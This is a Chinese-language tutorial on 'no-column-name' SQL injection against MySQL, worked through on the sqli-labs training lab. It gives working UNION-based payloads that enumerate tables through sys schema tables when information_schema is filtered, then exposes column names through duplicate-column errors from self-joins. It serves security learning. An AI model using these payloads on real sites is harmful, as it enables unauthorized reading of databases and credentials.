无列名注入
如果 information_schema
库被过滤, 那么就需要用到其他库来注入, 例如: sys.schema_auto_increment_columns
, sys.schema_table_statistics_with_buffer
, mysql.innodb_table_stats
等等
但是这些表都不能获得列名等, 只能获得表名
于是就会用到无列名注入
原理
无列名注入的原理是通过子查询连接查询两个相同的表, 数据库会建立一个虚拟表, 将两个表的查询数据放入, 当放入一个虚拟表中已有的列名时就会报错
使用 join...using
来实现, using
的作用是排除列名
例如下面语句
select * from (select * from users u1 join users u2) a;
执行这个数据时就会报列名重复, 例如:
Duplicate column name 'id'
然后就可以通过 using
来排除这个 id
, 继续爆出其他的列名
select * from (select * from users u1 join users u2 using(id)) a;
以此类推来爆出所有的列名
实践
以 sqli-labs 第一关为例, 假设其过滤了 information_schema
获取表名
使用 order by
获取列数
?id=1' order by 3--+
确定列数后就可以使用 union
来获取数据库名
?id=-1' union select 1,database(),3--+
接下来就库名通过数据库名查表名
?id=-1' union select 1,group_concat(table_name),3 from sys.schema_auto_increment_columns--+
结果如下:
uagents,referers,users,emails,guestbook
获取列名
接下来就针对 users
表注入
获取第一个列名
?id=-1' union select * from (select * from users u1 join users u2)u--+
结果为:
Duplicate column name 'id'
然后过滤 id
, 获取下一个列名
?id=-1' union select * from (select * from users u1 join users u2 using(id))u--+
结果:
Duplicate column name 'username'
最后:
?id=-1' union select * from (select * from users u1 join users u2 using(id, username))u--+
获取到最后一个列名
Duplicate column name 'password'